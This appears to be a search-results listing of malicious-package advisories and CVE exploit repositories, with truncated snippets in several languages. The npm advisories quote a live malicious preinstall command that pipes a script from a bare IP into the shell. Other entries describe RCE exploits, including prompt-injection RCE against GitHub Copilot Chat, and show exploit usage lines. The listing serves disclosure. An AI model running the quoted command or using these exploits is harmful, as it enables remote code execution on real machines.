269366 matches found
Malicious code in grafeno-core (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 19a2990abd7b4447444a42f96636f738449235f9d8760191978e904d028c759e The package's preinstall lifecycle script runs curl -s http://216.126.236.46/x.sh | sh at npm install time, fetching and executing an...
MAL-2026-15507 Malicious code in grafeno-pix (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...
Malicious code in grafeno-pix (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...
CVE-2014-6271
🚨 CVE-2014-6271 — “Shellshock” Zero-Day di 25 anni di Esecuzione Remota di Codice in GNU Bash tramite Variabili d'Ambiente 📖 Panoramica CVE-2014-6271 , soprannominato Shellshock noto anche come Bashdoor, è una vulnerabilità critica di esecuzione remota di codice RCE nella shell GNU Bash. Un...
CVE-2023-3452---WordPress-Canto-Plugin-RCE
CVE-2023-3452 - Plugin Canto per WordPress RCE Exploit per il Plugin Canto di WordPress ≤ 3.0.4 vulnerabilità RFI. Funziona effettivamente su HTTPS — gli altri PoC pubblici hanno rinunciato all'SSL. Crediti dove meritano: questa CVE è stata trovata da altri. Ho solo creato una versione che non si...
Penetration-Testing-Assessment-23-04-2026
Report di Penetration Testing – Sfruttamento di IIS WebDAV Panoramica Questo progetto dimostra un ciclo completo di penetration testing eseguito su un sistema target vulnerabile. La valutazione segue un approccio strutturato che include reconnaissance, scanning, enumeration, exploitation e...
CVE-2025-50881
CVE-2025-50881: Esecuzione di Codice Remoto in API Use it Flow tramite moniteur.php Identificativo: CVE-2025-50881 Prodotto Affetto: API Use it Flow Versione 8.2.0 Rev 15851, Versione 9.2.0 Rev 18093 Editore: https://www.tenorsolutions.com precedentemente https://api-sas.fr/ Componentei Affettoi:...
CVE-2025-49132
Impatto Utilizzando il file /locales/locale.json con i parametri di query locale e namespace, un attore malintenzionato è in grado di eseguire codice arbitrario, senza essere autenticato. Con la possibilità di eseguire codice arbitrario, questa vulnerabilità può essere sfruttata in un numero...
CVE-2025-31337
CVE-2025-31337 Avviso di Sicurezza ID CVE: CVE-2025-31337 Pubblicato: 2025-03-15 Punteggio CVSS: 9,8 Critico CWE: CWE-120 Copia del Buffer senza Controllo della Dimensione dell'Input Descrizione È stata scoperta una vulnerabilità critica di buffer overflow in AIDR ChatBot Framework versione 4.2.0...
PoC-CVE-2025-62222
PoC: CVE-2025-62222 - GitHub Copilot Chat RCE Dieses Repository enthält einen Proof of Concept PoC für die Schwachstelle CVE-2025-62222. Es zeigt, wie eine Remote Code Execution RCE auf dem Rechner eines Entwicklers erreicht werden kann, indem der Kontext von GitHub Copilot Chat in VS Code durch...
CVE-2017-15220-vxsearch-rce
CVE-2017-15220 – Overflow del buffer remoto in VX Search Enterprise Vulnerabilità di overflow del buffer remoto in VX Search Enterprise 10.1.12. Dettagli della vulnerabilità CVE: CVE-2017-15220 Prodotto: VX Search Enterprise Versione: 10.1.12 Impatto: Esecuzione di codice remota Descrizione VX...
CVE-2025-66034
CVE-2025-66034 — fontTools varLib Scrittura Arbitraria di File → RCE PoC exploit per una vulnerabilità di Scrittura Arbitraria di File + Iniezione XML infontTools.varLib Testato su HackTheBox — VarIaType Vulnerabilità fontTools.varLib elabora file XML .designspace per creare font variabili. Due...
PRTG-Network-Monitor-18.2.38---Authenticated-Remote-Code-Execution-CVE-2018-9276
Autenticata esecuzione remota di codice in PRTG Network Monitor Basato su https://www.exploit-db.com/exploits/46527 Utilizzo: modifica manualmente lo script per includere l'URL del target, il nome utente admin e la password come segue: root@kitploit: TARGET = "http://10.129.15.52" USER =...
CVE-2025-49113-Roundcube-RCE
CVE-2025-49113 — RCE Post-Autenticazione in Roundcube tramite Deserializzazione di Oggetti PHP Panoramica...
CVE-2025-2945-pgadmin-rce
CVE-2025-2945 — RCE Autenticada no Query Tool do pgAdmin 4 Prova de conceito para CVE-2025-2945, uma vulnerabilidade crítica de execução remota de código no pgAdmin 4. Versões afetadas: 8.10 a 9.1 Corrigido em: 9.2 lançado em 4 de abril de 2025 CVSS v3.1: 9.9 Crítico Visão Geral O Query Tool do...
CVE-2022-30190
CVE-2022-30190 Follina Sviluppo, Sfruttamento, Analisi e Mitigazione di Malware a Scopo Didattico Un proof-of-concept completamente documentato che dimostra la vulnerabilità Follina - dalla consegna tramite ingegneria sociale fino allo sfruttamento, all'analisi forense e allo sviluppo di patch. ⚠️...
Gitea-Git-Hooks-RCE-CVE-2020-14144-
Gitea Git Hooks RCE CVE-2020-14144 OffsecProvingGrounds Practice — Writeup & POC della macchina Roquefort Panoramica...
CVE-2025-54123
CVE-2025-54123 Panoramica Esecuzione remota di codice autenticata nell'endpoint API middleware di HoverFly a causa di una convalida dell'input insufficiente e di un'esecuzione di comandi non sicura. Flusso di attacco 1. Autenticazione L'attaccante si autentica su HoverFly utilizzando credenziali...
CVE-2025-32434-exploit
Panoramica Questo exploit dimostra una vulnerabilità critica di esecuzione remota di codice CVE-2025-32434 in PyTorch versioni /tmp/whoami" Test the exploit loads the model to verify RCE python3 exploit.py -c "id" -t Advanced exploit variant with alternative bypass python3 exploit.py --advanced -...